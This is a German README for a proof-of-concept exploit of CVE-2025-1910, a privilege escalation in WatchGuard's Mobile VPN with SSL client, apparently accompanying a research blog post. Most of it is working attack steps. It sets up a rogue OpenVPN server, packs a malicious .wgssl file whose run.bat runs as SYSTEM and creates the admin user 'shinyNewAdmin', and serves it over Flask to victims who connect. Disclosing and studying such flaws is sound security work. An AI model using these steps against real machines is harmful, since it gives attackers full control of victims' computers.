
Proof-of-Concept zur Ausnutzung von CVE-2025-1910, einer lokalen Privilegieneskalation im Mobile VPN with SSL-Client von Watchguard.
Eine Privilege-Escalation-Schwachstelle in WatchGuards Mobile VPN with SSL <= 12.11.2 erlaubt es einem Benutzer mit niedrigen Rechten, Befehle als SYSTEM auf dem Client auszuführen. Getestet mit Mobile VPN with SSL Version 12.11.2.
Für weitere Details siehe unseren Blogartikel (deutsche Version).
sudo openvpn --config server.conf

Ändere die remote-Option in ./client/client.ovpn, sodass sie auf den OpenVPN-Server zeigt
Passe ./client/run.bat nach Belieben an; dieses Skript wird als SYSTEM ausgeführt. Standardmäßig wird ein neuer Admin-Benutzer angelegt (shinyNewAdmin)
Erstelle die schädliche WatchGuard-Datei client.wgssl:
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl-Datei über flask bereit:# Start the flask HTTPS server
sudo python3 srv.py

Optional kann ein neues Zertifikats- und Schlüsselpaar über openssl erstellt werden:
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
Versuche dann auf dem Zielrechner, auf dem eine verwundbare Version von Mobile VPN with SSL installiert ist (z. B. Version 12.11.2, Download), eine Verbindung zum Angreifer-Server herzustellen. Der eingegebene Benutzername und das Passwort spielen keine Rolle:

Klicke bei der Sicherheitswarnung auf Ja, um die Zertifikatwarnungen zu ignorieren:

Nachdem die Verbindung erfolgreich hergestellt wurde, wird die Datei run.bat ausgeführt und der Benutzer shinyNewAdmin erstellt:

Auf dem Angreifer-Server müssen Python, openssl und openvpn installiert sein. Zusätzlich muss das Python-Paket flask installiert werden:
pip install -r requirements.txt
Wenn Nix installiert ist, kannst du einfach die Entwicklungsshell starten:
nix develop